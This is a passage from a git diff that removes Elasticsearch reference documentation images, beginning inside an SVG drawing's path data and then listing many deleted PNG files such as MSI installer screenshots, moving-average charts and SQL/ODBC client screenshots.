L110.88695,63.52286 C110.95987,64.08536 111.173413,64.5176517 111.52758,64.819735 C111.89216,65.1114017 112.39216,65.257235 113.02758,65.257235 C113.673413,65.257235 114.15258,65.1270267 114.46508,64.86661 C114.77758,64.5957767 114.93383,64.2832767 114.93383,63.92911 C114.93383,63.61661 114.798413,63.36661 114.52758,63.17911 C114.32966,63.05411 113.850493,62.89786 113.09008,62.71036 C112.058827,62.4499433 111.340077,62.225985 110.93383,62.038485 C110.537997,61.8405683 110.235913,61.5749433 110.02758,61.24161 C109.82966,60.9082767 109.7307,60.538485 109.7307,60.132235 C109.7307,59.757235 109.814033,59.413485 109.9807,59.100985 C110.147367,58.788485 110.376533,58.5280683 110.6682,58.319735 C110.886953,58.1530683 111.18383,58.0176517 111.55883,57.913485 C111.944243,57.7989017 112.350493,57.74161 112.77758,57.74161 C113.433827,57.74161 114.006743,57.83536 114.49633,58.02286 C114.98591,58.21036 115.345283,58.4655683 115.57445,58.788485 C115.814037,59.100985 115.980703,59.5280683 116.07445,60.069735 L114.69945,60.257235 C114.636983,59.8301517 114.454693,59.4968183 114.15258,59.257235 C113.850493,59.0176517 113.428617,58.89786 112.88695,58.89786 C112.241117,58.89786 111.777577,59.007235 111.49633,59.225985 C111.225497,59.4343183 111.09008,59.67911 111.09008,59.96036 C111.09008,60.14786 111.14737,60.3145267 111.26195,60.46036 C111.376537,60.6061933 111.55362,60.7311933 111.7932,60.83536 C111.939033,60.8874467 112.3557,61.0072383 113.0432,61.194735 C114.032787,61.4551517 114.725497,61.6739017 115.12133,61.850985 C115.517163,62.0176517 115.824453,62.2624433 116.0432,62.58536 C116.272367,62.9082767 116.38695,63.3093183 116.38695,63.788485 C116.38695,64.257235 116.246327,64.6999433 115.96508,65.11661 C115.694247,65.52286 115.298413,65.8405683 114.77758,66.069735 C114.26716,66.2989017 113.689033,66.413485 113.0432,66.413485 C111.959867,66.413485 111.13695,66.1895267 110.57445,65.74161 C110.01195,65.2936933 109.652577,64.6270267 109.49633,63.74161 Z" id="path33" stroke="none" fill="#FFFFFF" fill-rule="nonzero"></path>
-                    <path d="M77.86353,104.97375 L77.86353,145.4147" id="path35" stroke="none" fill-opacity="0" fill="#000000" fill-rule="evenodd"></path>
-                    <path d="M77.86353,104.97375 L77.86353,133.4147" id="path37" stroke="#0097A7" stroke-width="2" fill="none" stroke-linejoin="round"></path>
-                    <polygon id="path39" stroke="#0097A7" stroke-width="2" fill="#0097A7" fill-rule="evenodd" points="74.56006 133.4147 77.86353 142.49089 81.16699 133.4147"></polygon>
-                    <path d="M77.86353,321.4777 L77.86353,352.24934" id="path41" stroke="none" fill-opacity="0" fill="#000000" fill-rule="evenodd"></path>
-                    <path d="M77.86353,321.4777 L77.86353,340.24934" id="path43" stroke="#3D99D7" stroke-width="2" fill="none" stroke-linejoin="round"></path>
-                    <polygon id="path45" stroke="#3D99D7" stroke-width="2" fill="#3D99D7" fill-rule="evenodd" points="74.56006 340.24936 77.86353 349.32553 81.16699 340.24936"></polygon>
-                </g>
-            </g>
-        </g>
-    </g>
-</svg>
\ No newline at end of file
diff --git a/docs/reference/images/lambda.png b/docs/reference/images/lambda.png
deleted file mode 100644
index 324967326f9..00000000000
Binary files a/docs/reference/images/lambda.png and /dev/null differ
diff --git a/docs/reference/images/lambda_calc.png b/docs/reference/images/lambda_calc.png
deleted file mode 100644
index 4fd19a2660f..00000000000
Binary files a/docs/reference/images/lambda_calc.png and /dev/null differ
diff --git a/docs/reference/images/lucene-in-memory-buffer.png b/docs/reference/images/lucene-in-memory-buffer.png
deleted file mode 100644
index 37674886183..00000000000
Binary files a/docs/reference/images/lucene-in-memory-buffer.png and /dev/null differ
diff --git a/docs/reference/images/lucene-written-not-committed.png b/docs/reference/images/lucene-written-not-committed.png
deleted file mode 100644
index 9d295fb412f..00000000000
Binary files a/docs/reference/images/lucene-written-not-committed.png and /dev/null differ
diff --git a/docs/reference/images/msi_installer/elasticsearch_exe.png b/docs/reference/images/msi_installer/elasticsearch_exe.png
deleted file mode 100644
index fd84e5397bf..00000000000
Binary files a/docs/reference/images/msi_installer/elasticsearch_exe.png and /dev/null differ
diff --git a/docs/reference/images/msi_installer/msi_installer_configuration.png b/docs/reference/images/msi_installer/msi_installer_configuration.png
deleted file mode 100644
index 36bae6cc519..00000000000
Binary files a/docs/reference/images/msi_installer/msi_installer_configuration.png and /dev/null differ
diff --git a/docs/reference/images/msi_installer/msi_installer_help.png b/docs/reference/images/msi_installer/msi_installer_help.png
deleted file mode 100644
index 458b0821c1f..00000000000
Binary files a/docs/reference/images/msi_installer/msi_installer_help.png and /dev/null differ
diff --git a/docs/reference/images/msi_installer/msi_installer_installed_service.png b/docs/reference/images/msi_installer/msi_installer_installed_service.png
deleted file mode 100644
index 34585377a91..00000000000
Binary files a/docs/reference/images/msi_installer/msi_installer_installed_service.png and /dev/null differ
diff --git a/docs/reference/images/msi_installer/msi_installer_installing.png b/docs/reference/images/msi_installer/msi_installer_installing.png
deleted file mode 100644
index 590c52371a7..00000000000
Binary files a/docs/reference/images/msi_installer/msi_installer_installing.png and /dev/null differ
diff --git a/docs/reference/images/msi_installer/msi_installer_locations.png b/docs/reference/images/msi_installer/msi_installer_locations.png
deleted file mode 100644
index ba7151e3714..00000000000
Binary files a/docs/reference/images/msi_installer/msi_installer_locations.png and /dev/null differ
diff --git a/docs/reference/images/msi_installer/msi_installer_no_service.png b/docs/reference/images/msi_installer/msi_installer_no_service.png
deleted file mode 100644
index fbe9a0510c7..00000000000
Binary files a/docs/reference/images/msi_installer/msi_installer_no_service.png and /dev/null differ
diff --git a/docs/reference/images/msi_installer/msi_installer_plugins.png b/docs/reference/images/msi_installer/msi_installer_plugins.png
deleted file mode 100644
index e58f426a47d..00000000000
Binary files a/docs/reference/images/msi_installer/msi_installer_plugins.png and /dev/null differ
diff --git a/docs/reference/images/msi_installer/msi_installer_selected_plugins.png b/docs/reference/images/msi_installer/msi_installer_selected_plugins.png
deleted file mode 100644
index e58f426a47d..00000000000
Binary files a/docs/reference/images/msi_installer/msi_installer_selected_plugins.png and /dev/null differ
diff --git a/docs/reference/images/msi_installer/msi_installer_service.png b/docs/reference/images/msi_installer/msi_installer_service.png
deleted file mode 100644
index c7fae13637b..00000000000
Binary files a/docs/reference/images/msi_installer/msi_installer_service.png and /dev/null differ
diff --git a/docs/reference/images/msi_installer/msi_installer_success.png b/docs/reference/images/msi_installer/msi_installer_success.png
deleted file mode 100644
index 3a58467ae18..00000000000
Binary files a/docs/reference/images/msi_installer/msi_installer_success.png and /dev/null differ
diff --git a/docs/reference/images/msi_installer/msi_installer_uninstall.png b/docs/reference/images/msi_installer/msi_installer_uninstall.png
deleted file mode 100644
index 6b5b69a5768..00000000000
Binary files a/docs/reference/images/msi_installer/msi_installer_uninstall.png and /dev/null differ
diff --git a/docs/reference/images/msi_installer/msi_installer_upgrade_configuration.png b/docs/reference/images/msi_installer/msi_installer_upgrade_configuration.png
deleted file mode 100644
index 7ca413bb299..00000000000
Binary files a/docs/reference/images/msi_installer/msi_installer_upgrade_configuration.png and /dev/null differ
diff --git a/docs/reference/images/msi_installer/msi_installer_upgrade_notice.png b/docs/reference/images/msi_installer/msi_installer_upgrade_notice.png
deleted file mode 100644
index e5ee18b5208..00000000000
Binary files a/docs/reference/images/msi_installer/msi_installer_upgrade_notice.png and /dev/null differ
diff --git a/docs/reference/images/msi_installer/msi_installer_upgrade_plugins.png b/docs/reference/images/msi_installer/msi_installer_upgrade_plugins.png
deleted file mode 100644
index 3e7496505f7..00000000000
Binary files a/docs/reference/images/msi_installer/msi_installer_upgrade_plugins.png and /dev/null differ
diff --git a/docs/reference/images/msi_installer/msi_installer_xpack.png b/docs/reference/images/msi_installer/msi_installer_xpack.png
deleted file mode 100644
index e457a578877..00000000000
Binary files a/docs/reference/images/msi_installer/msi_installer_xpack.png and /dev/null differ
diff --git a/docs/reference/images/percentiles_error.png b/docs/reference/images/percentiles_error.png
deleted file mode 100644
index b57464e72e0..00000000000
Binary files a/docs/reference/images/percentiles_error.png and /dev/null differ
diff --git a/docs/reference/images/pipeline_movavg/double_0.2beta.png b/docs/reference/images/pipeline_movavg/double_0.2beta.png
deleted file mode 100644
index 64499b98342..00000000000
Binary files a/docs/reference/images/pipeline_movavg/double_0.2beta.png and /dev/null differ
diff --git a/docs/reference/images/pipeline_movavg/double_0.7beta.png b/docs/reference/images/pipeline_movavg/double_0.7beta.png
deleted file mode 100644
index b9f530227d9..00000000000
Binary files a/docs/reference/images/pipeline_movavg/double_0.7beta.png and /dev/null differ
diff --git a/docs/reference/images/pipeline_movavg/double_prediction_global.png b/docs/reference/images/pipeline_movavg/double_prediction_global.png
deleted file mode 100644
index faee6d22bc2..00000000000
Binary files a/docs/reference/images/pipeline_movavg/double_prediction_global.png and /dev/null differ
diff --git a/docs/reference/images/pipeline_movavg/double_prediction_local.png b/docs/reference/images/pipeline_movavg/double_prediction_local.png
deleted file mode 100644
index 930a5cfde9b..00000000000
Binary files a/docs/reference/images/pipeline_movavg/double_prediction_local.png and /dev/null differ
diff --git a/docs/reference/images/pipeline_movavg/linear_100window.png b/docs/reference/images/pipeline_movavg/linear_100window.png
deleted file mode 100644
index 3a4d51ae956..00000000000
Binary files a/docs/reference/images/pipeline_movavg/linear_100window.png and /dev/null differ
diff --git a/docs/reference/images/pipeline_movavg/linear_10window.png b/docs/reference/images/pipeline_movavg/linear_10window.png
deleted file mode 100644
index 1407ded8791..00000000000
Binary files a/docs/reference/images/pipeline_movavg/linear_10window.png and /dev/null differ
diff --git a/docs/reference/images/pipeline_movavg/movavg_100window.png b/docs/reference/images/pipeline_movavg/movavg_100window.png
deleted file mode 100644
index 45094ec2681..00000000000
Binary files a/docs/reference/images/pipeline_movavg/movavg_100window.png and /dev/null differ
diff --git a/docs/reference/images/pipeline_movavg/movavg_10window.png b/docs/reference/images/pipeline_movavg/movavg_10window.png
deleted file mode 100644
index 1e9f543385f..00000000000
Binary files a/docs/reference/images/pipeline_movavg/movavg_10window.png and /dev/null differ
diff --git a/docs/reference/images/pipeline_movavg/simple_prediction.png b/docs/reference/images/pipeline_movavg/simple_prediction.png
deleted file mode 100644
index d74724e1546..00000000000
Binary files a/docs/reference/images/pipeline_movavg/simple_prediction.png and /dev/null differ
diff --git a/docs/reference/images/pipeline_movavg/single_0.2alpha.png b/docs/reference/images/pipeline_movavg/single_0.2alpha.png
deleted file mode 100644
index d96cf771743..00000000000
Binary files a/docs/reference/images/pipeline_movavg/single_0.2alpha.png and /dev/null differ
diff --git a/docs/reference/images/pipeline_movavg/single_0.7alpha.png b/docs/reference/images/pipeline_movavg/single_0.7alpha.png
deleted file mode 100644
index bf7bdd1752e..00000000000
Binary files a/docs/reference/images/pipeline_movavg/single_0.7alpha.png and /dev/null differ
diff --git a/docs/reference/images/pipeline_movavg/triple.png b/docs/reference/images/pipeline_movavg/triple.png
deleted file mode 100644
index 8aaf281c1bf..00000000000
Binary files a/docs/reference/images/pipeline_movavg/triple.png and /dev/null differ
diff --git a/docs/reference/images/pipeline_movavg/triple_prediction.png b/docs/reference/images/pipeline_movavg/triple_prediction.png
deleted file mode 100644
index fb34881d1e3..00000000000
Binary files a/docs/reference/images/pipeline_movavg/triple_prediction.png and /dev/null differ
diff --git a/docs/reference/images/pipeline_movavg/triple_untruncated.png b/docs/reference/images/pipeline_movavg/triple_untruncated.png
deleted file mode 100644
index 4f7528ea5fe..00000000000
Binary files a/docs/reference/images/pipeline_movavg/triple_untruncated.png and /dev/null differ
diff --git a/docs/reference/images/pipeline_serialdiff/dow.png b/docs/reference/images/pipeline_serialdiff/dow.png
deleted file mode 100644
index d46f507ded1..00000000000
Binary files a/docs/reference/images/pipeline_serialdiff/dow.png and /dev/null differ
diff --git a/docs/reference/images/pipeline_serialdiff/lemmings.png b/docs/reference/images/pipeline_serialdiff/lemmings.png
deleted file mode 100644
index 25f3bb7d1a1..00000000000
Binary files a/docs/reference/images/pipeline_serialdiff/lemmings.png and /dev/null differ
diff --git a/docs/reference/images/rare_terms/accuracy_0001.png b/docs/reference/images/rare_terms/accuracy_0001.png
deleted file mode 100644
index 0c13a3938cd..00000000000
Binary files a/docs/reference/images/rare_terms/accuracy_0001.png and /dev/null differ
diff --git a/docs/reference/images/rare_terms/accuracy_001.png b/docs/reference/images/rare_terms/accuracy_001.png
deleted file mode 100644
index 2aa1be316c3..00000000000
Binary files a/docs/reference/images/rare_terms/accuracy_001.png and /dev/null differ
diff --git a/docs/reference/images/rare_terms/accuracy_01.png b/docs/reference/images/rare_terms/accuracy_01.png
deleted file mode 100644
index 7182b7d3c53..00000000000
Binary files a/docs/reference/images/rare_terms/accuracy_01.png and /dev/null differ
diff --git a/docs/reference/images/rare_terms/memory.png b/docs/reference/images/rare_terms/memory.png
deleted file mode 100644
index e0de5c21639..00000000000
Binary files a/docs/reference/images/rare_terms/memory.png and /dev/null differ
diff --git a/docs/reference/images/s_calc.png b/docs/reference/images/s_calc.png
deleted file mode 100644
index 3fb95e58df5..00000000000
Binary files a/docs/reference/images/s_calc.png and /dev/null differ
diff --git a/docs/reference/images/service-manager-win.png b/docs/reference/images/service-manager-win.png
deleted file mode 100644
index ca58b67d6a2..00000000000
Binary files a/docs/reference/images/service-manager-win.png and /dev/null differ
diff --git a/docs/reference/images/sigma.png b/docs/reference/images/sigma.png
deleted file mode 100644
index a9f72995e56..00000000000
Binary files a/docs/reference/images/sigma.png and /dev/null differ
diff --git a/docs/reference/images/sigma_calc.png b/docs/reference/images/sigma_calc.png
deleted file mode 100644
index 9001bbe9eaf..00000000000
Binary files a/docs/reference/images/sigma_calc.png and /dev/null differ
diff --git a/docs/reference/images/spatial/error_distance.png b/docs/reference/images/spatial/error_distance.png
deleted file mode 100644
index a3274d778c0..00000000000
Binary files a/docs/reference/images/spatial/error_distance.png and /dev/null differ
diff --git a/docs/reference/images/spatial/geoshape_grid.png b/docs/reference/images/spatial/geoshape_grid.png
deleted file mode 100644
index 6e3fe8e8162..00000000000
Binary files a/docs/reference/images/spatial/geoshape_grid.png and /dev/null differ
diff --git a/docs/reference/images/sql/client-apps/dbeaver-1-new-conn.png b/docs/reference/images/sql/client-apps/dbeaver-1-new-conn.png
deleted file mode 100644
index bf7f1c63135..00000000000
Binary files a/docs/reference/images/sql/client-apps/dbeaver-1-new-conn.png and /dev/null differ
diff --git a/docs/reference/images/sql/client-apps/dbeaver-2-conn-es.png b/docs/reference/images/sql/client-apps/dbeaver-2-conn-es.png
deleted file mode 100644
index f63df0987c1..00000000000
Binary files a/docs/reference/images/sql/client-apps/dbeaver-2-conn-es.png and /dev/null differ
diff --git a/docs/reference/images/sql/client-apps/dbeaver-3-conn-props.png b/docs/reference/images/sql/client-apps/dbeaver-3-conn-props.png
deleted file mode 100644
index 825ce1b6357..00000000000
Binary files a/docs/reference/images/sql/client-apps/dbeaver-3-conn-props.png and /dev/null differ
diff --git a/docs/reference/images/sql/client-apps/dbeaver-4-driver-ver.png b/docs/reference/images/sql/client-apps/dbeaver-4-driver-ver.png
deleted file mode 100644
index bcad2a75d80..00000000000
Binary files a/docs/reference/images/sql/client-apps/dbeaver-4-driver-ver.png and /dev/null differ
diff --git a/docs/reference/images/sql/client-apps/dbeaver-5-test-conn.png b/docs/reference/images/sql/client-apps/dbeaver-5-test-conn.png
deleted file mode 100644
index c76ae19937a..00000000000
Binary files a/docs/reference/images/sql/client-apps/dbeaver-5-test-conn.png and /dev/null differ
diff --git a/docs/reference/images/sql/client-apps/dbeaver-6-data.png b/docs/reference/images/sql/client-apps/dbeaver-6-data.png
deleted file mode 100644
index 053042b7911..00000000000
Binary files a/docs/reference/images/sql/client-apps/dbeaver-6-data.png and /dev/null differ
diff --git a/docs/reference/images/sql/client-apps/dbvis-1-driver-manager.png b/docs/reference/images/sql/client-apps/dbvis-1-driver-manager.png
deleted file mode 100644
index d9290e63dea..00000000000
Binary files a/docs/reference/images/sql/client-apps/dbvis-1-driver-manager.png and /dev/null differ
diff --git a/docs/reference/images/sql/client-apps/dbvis-2-driver.png b/docs/reference/images/sql/client-apps/dbvis-2-driver.png
deleted file mode 100644
index a5cbddfefbd..00000000000
Binary files a/docs/reference/images/sql/client-apps/dbvis-2-driver.png and /dev/null differ
diff --git a/docs/reference/images/sql/client-apps/dbvis-3-add-driver.png b/docs/reference/images/sql/client-apps/dbvis-3-add-driver.png
deleted file mode 100644
index bab82fae3f2..00000000000
Binary files a/docs/reference/images/sql/client-apps/dbvis-3-add-driver.png and /dev/null differ
diff --git a/docs/reference/images/sql/client-apps/dbvis-4-new-conn.png b/docs/reference/images/sql/client-apps/dbvis-4-new-conn.png
deleted file mode 100644
index 3001641b531..00000000000
Binary files a/docs/reference/images/sql/client-apps/dbvis-4-new-conn.png and /dev/null differ
diff --git a/docs/reference/images/sql/client-apps/dbvis-5-conn-props.png b/docs/reference/images/sql/client-apps/dbvis-5-conn-props.png
deleted file mode 100644
index e59e8215ec6..00000000000
Binary files a/docs/reference/images/sql/client-apps/dbvis-5-conn-props.png and /dev/null differ
diff --git a/docs/reference/images/sql/client-apps/dbvis-6-data.png b/docs/reference/images/sql/client-apps/dbvis-6-data.png
deleted file mode 100644
index 65f8a04eb5d..00000000000
Binary files a/docs/reference/images/sql/client-apps/dbvis-6-data.png and /dev/null differ
diff --git a/docs/reference/images/sql/client-apps/squirell-1-view-drivers.png b/docs/reference/images/sql/client-apps/squirell-1-view-drivers.png
deleted file mode 100644
index b5ca1c95126..00000000000
Binary files a/docs/reference/images/sql/client-apps/squirell-1-view-drivers.png and /dev/null differ
diff --git a/docs/reference/images/sql/client-apps/squirell-2-select-driver.png b/docs/reference/images/sql/client-apps/squirell-2-select-driver.png
deleted file mode 100644
index 7b55d938ce0..00000000000
Binary files a/docs/reference/images/sql/client-apps/squirell-2-select-driver.png and /dev/null differ
diff --git a/docs/reference/images/sql/client-apps/squirell-3-add-driver.png b/docs/reference/images/sql/client-apps/squirell-3-add-driver.png
deleted file mode 100644
index 9b476f2bc19..00000000000
Binary files a/docs/reference/images/sql/client-apps/squirell-3-add-driver.png and /dev/null differ
diff --git a/docs/reference/images/sql/client-apps/squirell-4-driver-list.png b/docs/reference/images/sql/client-apps/squirell-4-driver-list.png
deleted file mode 100644
index 990669f8bbf..00000000000
Binary files a/docs/reference/images/sql/client-apps/squirell-4-driver-list.png and /dev/null differ
diff --git a/docs/reference/images/sql/client-apps/squirell-5-add-alias.png b/docs/reference/images/sql/client-apps/squirell-5-add-alias.png
deleted file mode 100644
index a23e348f45c..00000000000
Binary files a/docs/reference/images/sql/client-apps/squirell-5-add-alias.png and /dev/null differ
diff --git a/docs/reference/images/sql/client-apps/squirell-6-alias-props.png b/docs/reference/images/sql/client-apps/squirell-6-alias-props.png
deleted file mode 100644
index a43e5b5be69..00000000000
Binary files a/docs/reference/images/sql/client-apps/squirell-6-alias-props.png and /dev/null differ
diff --git a/docs/reference/images/sql/client-apps/squirell-7-data.png b/docs/reference/images/sql/client-apps/squirell-7-data.png
deleted file mode 100644
index ccfcd2593bb..00000000000
Binary files a/docs/reference/images/sql/client-apps/squirell-7-data.png and /dev/null differ
diff --git a/docs/reference/images/sql/client-apps/workbench-1-manage-drivers.png b/docs/reference/images/sql/client-apps/workbench-1-manage-drivers.png
deleted file mode 100644
index e305fd2a9dd..00000000000
Binary files a/docs/reference/images/sql/client-apps/workbench-1-manage-drivers.png and /dev/null differ
diff --git a/docs/reference/images/sql/client-apps/workbench-2-select-driver.png b/docs/reference/images/sql/client-apps/workbench-2-select-driver.png
deleted file mode 100644
index 94d26b2d2d3..00000000000
Binary files a/docs/reference/images/sql/client-apps/workbench-2-select-driver.png and /dev/null differ
diff --git a/docs/reference/images/sql/client-apps/workbench-3-add-jar.png b/docs/reference/images/sql/client-apps/workbench-3-add-jar.png
deleted file mode 100644
index b10aa9ad9f1..00000000000
Binary files a/docs/reference/images/sql/client-apps/workbench-3-add-jar.png and /dev/null differ
diff --git a/docs/reference/images/sql/client-apps/workbench-4-connection.png b/docs/reference/images/sql/client-apps/workbench-4-connection.png
deleted file mode 100644
index 9262ef0f533..00000000000
Binary files a/docs/reference/images/sql/client-apps/workbench-4-connection.png and /dev/null differ
diff --git a/docs/reference/images/sql/client-apps/workbench-5-data.png b/docs/reference/images/sql/client-apps/workbench-5-data.png
deleted file mode 100644
index 7b8251fc958..00000000000
Binary files a/docs/reference/images/sql/client-apps/workbench-5-data.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/administrator_drivers.png b/docs/reference/images/sql/odbc/administrator_drivers.png
deleted file mode 100644
index 9f4a26b178f..00000000000
Binary files a/docs/reference/images/sql/odbc/administrator_drivers.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/administrator_launch_editor.png b/docs/reference/images/sql/odbc/administrator_launch_editor.png
deleted file mode 100644
index 3bb93af29f9..00000000000
Binary files a/docs/reference/images/sql/odbc/administrator_launch_editor.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/administrator_system_add.png b/docs/reference/images/sql/odbc/administrator_system_add.png
deleted file mode 100644
index 64d47b67f81..00000000000
Binary files a/docs/reference/images/sql/odbc/administrator_system_add.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/administrator_system_added.png b/docs/reference/images/sql/odbc/administrator_system_added.png
deleted file mode 100644
index 6797264a89e..00000000000
Binary files a/docs/reference/images/sql/odbc/administrator_system_added.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/administrator_tracing.png b/docs/reference/images/sql/odbc/administrator_tracing.png
deleted file mode 100644
index 14493ba8d5a..00000000000
Binary files a/docs/reference/images/sql/odbc/administrator_tracing.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/apps_excel_cred.png b/docs/reference/images/sql/odbc/apps_excel_cred.png
deleted file mode 100644
index a3da36dbf6e..00000000000
Binary files a/docs/reference/images/sql/odbc/apps_excel_cred.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/apps_excel_dsn.png b/docs/reference/images/sql/odbc/apps_excel_dsn.png
deleted file mode 100644
index 7e81cc01f12..00000000000
Binary files a/docs/reference/images/sql/odbc/apps_excel_dsn.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/apps_excel_fromodbc.png b/docs/reference/images/sql/odbc/apps_excel_fromodbc.png
deleted file mode 100644
index 603af4dfc72..00000000000
Binary files a/docs/reference/images/sql/odbc/apps_excel_fromodbc.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/apps_excel_loaded.png b/docs/reference/images/sql/odbc/apps_excel_loaded.png
deleted file mode 100644
index 7d7ea86c8cc..00000000000
Binary files a/docs/reference/images/sql/odbc/apps_excel_loaded.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/apps_excel_picktable.png b/docs/reference/images/sql/odbc/apps_excel_picktable.png
deleted file mode 100644
index fd7aecc4128..00000000000
Binary files a/docs/reference/images/sql/odbc/apps_excel_picktable.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/apps_microstrat_databases.png b/docs/reference/images/sql/odbc/apps_microstrat_databases.png
deleted file mode 100644
index 9f1c69b7968..00000000000
Binary files a/docs/reference/images/sql/odbc/apps_microstrat_databases.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/apps_microstrat_dsn.png b/docs/reference/images/sql/odbc/apps_microstrat_dsn.png
deleted file mode 100644
index 4fa4c90947f..00000000000
Binary files a/docs/reference/images/sql/odbc/apps_microstrat_dsn.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/apps_microstrat_inmem.png b/docs/reference/images/sql/odbc/apps_microstrat_inmem.png
deleted file mode 100644
index 3e97c031115..00000000000
Binary files a/docs/reference/images/sql/odbc/apps_microstrat_inmem.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/apps_microstrat_live.png b/docs/reference/images/sql/odbc/apps_microstrat_live.png
deleted file mode 100644
index 2a3e0fa02a3..00000000000
Binary files a/docs/reference/images/sql/odbc/apps_microstrat_live.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/apps_microstrat_loadtable.png b/docs/reference/images/sql/odbc/apps_microstrat_loadtable.png
deleted file mode 100644
index a1502c4e9f3..00000000000
Binary files a/docs/reference/images/sql/odbc/apps_microstrat_loadtable.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/apps_microstrat_newdata.png b/docs/reference/images/sql/odbc/apps_microstrat_newdata.png
deleted file mode 100644
index 3a00c6dffe2..00000000000
Binary files a/docs/reference/images/sql/odbc/apps_microstrat_newdata.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/apps_microstrat_newdossier.png b/docs/reference/images/sql/odbc/apps_microstrat_newdossier.png
deleted file mode 100644
index 275588a7fe0..00000000000
Binary files a/docs/reference/images/sql/odbc/apps_microstrat_newdossier.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/apps_microstrat_newds.png b/docs/reference/images/sql/odbc/apps_microstrat_newds.png
deleted file mode 100644
index 45e3666eae6..00000000000
Binary files a/docs/reference/images/sql/odbc/apps_microstrat_newds.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/apps_microstrat_tables.png b/docs/reference/images/sql/odbc/apps_microstrat_tables.png
deleted file mode 100644
index 71283d05e5c..00000000000
Binary files a/docs/reference/images/sql/odbc/apps_microstrat_tables.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/apps_microstrat_visualize.png b/docs/reference/images/sql/odbc/apps_microstrat_visualize.png
deleted file mode 100644
index 3e15946f0f1..00000000000
Binary files a/docs/reference/images/sql/odbc/apps_microstrat_visualize.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/apps_pbi_dsn.png b/docs/reference/images/sql/odbc/apps_pbi_dsn.png
deleted file mode 100644
index 9e9512ec40f..00000000000
Binary files a/docs/reference/images/sql/odbc/apps_pbi_dsn.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/apps_pbi_fromodbc1.png b/docs/reference/images/sql/odbc/apps_pbi_fromodbc1.png
deleted file mode 100644
index 313b1edbc74..00000000000
Binary files a/docs/reference/images/sql/odbc/apps_pbi_fromodbc1.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/apps_pbi_fromodbc2.png b/docs/reference/images/sql/odbc/apps_pbi_fromodbc2.png
deleted file mode 100644
index fade98f4ad5..00000000000
Binary files a/docs/reference/images/sql/odbc/apps_pbi_fromodbc2.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/apps_pbi_loaded.png b/docs/reference/images/sql/odbc/apps_pbi_loaded.png
deleted file mode 100644
index c1927d2200c..00000000000
Binary files a/docs/reference/images/sql/odbc/apps_pbi_loaded.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/apps_pbi_picktable.png b/docs/reference/images/sql/odbc/apps_pbi_picktable.png
deleted file mode 100644
index 2b2e1c8e4e5..00000000000
Binary files a/docs/reference/images/sql/odbc/apps_pbi_picktable.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/apps_ps_exed.png b/docs/reference/images/sql/odbc/apps_ps_exed.png
deleted file mode 100644
index 84c3c12ec48..00000000000
Binary files a/docs/reference/images/sql/odbc/apps_ps_exed.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/apps_qlik_adddata.png b/docs/reference/images/sql/odbc/apps_qlik_adddata.png
deleted file mode 100644
index b32596c1c01..00000000000
Binary files a/docs/reference/images/sql/odbc/apps_qlik_adddata.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/apps_qlik_create.png b/docs/reference/images/sql/odbc/apps_qlik_create.png
deleted file mode 100644
index 4a2438c1cfa..00000000000
Binary files a/docs/reference/images/sql/odbc/apps_qlik_create.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/apps_qlik_dsn.png b/docs/reference/images/sql/odbc/apps_qlik_dsn.png
deleted file mode 100644
index 79852e50168..00000000000
Binary files a/docs/reference/images/sql/odbc/apps_qlik_dsn.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/apps_qlik_newapp.png b/docs/reference/images/sql/odbc/apps_qlik_newapp.png
deleted file mode 100644
index 1909707825a..00000000000
Binary files a/docs/reference/images/sql/odbc/apps_qlik_newapp.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/apps_qlik_odbc.png b/docs/reference/images/sql/odbc/apps_qlik_odbc.png
deleted file mode 100644
index 9b56fe6bcbe..00000000000
Binary files a/docs/reference/images/sql/odbc/apps_qlik_odbc.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/apps_qlik_open.png b/docs/reference/images/sql/odbc/apps_qlik_open.png
deleted file mode 100644
index f4e33230ecc..00000000000
Binary files a/docs/reference/images/sql/odbc/apps_qlik_open.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/apps_qlik_selecttable.png b/docs/reference/images/sql/odbc/apps_qlik_selecttable.png
deleted file mode 100644
index c6a485cb85c..00000000000
Binary files a/docs/reference/images/sql/odbc/apps_qlik_selecttable.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/apps_qlik_visualize.png b/docs/reference/images/sql/odbc/apps_qlik_visualize.png
deleted file mode 100644
index c87cd505de3..00000000000
Binary files a/docs/reference/images/sql/odbc/apps_qlik_visualize.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/apps_tableau_connd.png b/docs/reference/images/sql/odbc/apps_tableau_connd.png
deleted file mode 100644
index ae34f673aa3..00000000000
Binary files a/docs/reference/images/sql/odbc/apps_tableau_connd.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/apps_tableau_fromodbc.png b/docs/reference/images/sql/odbc/apps_tableau_fromodbc.png
deleted file mode 100644
index 717c5e4a886..00000000000
Binary files a/docs/reference/images/sql/odbc/apps_tableau_fromodbc.png and /dev/null differ
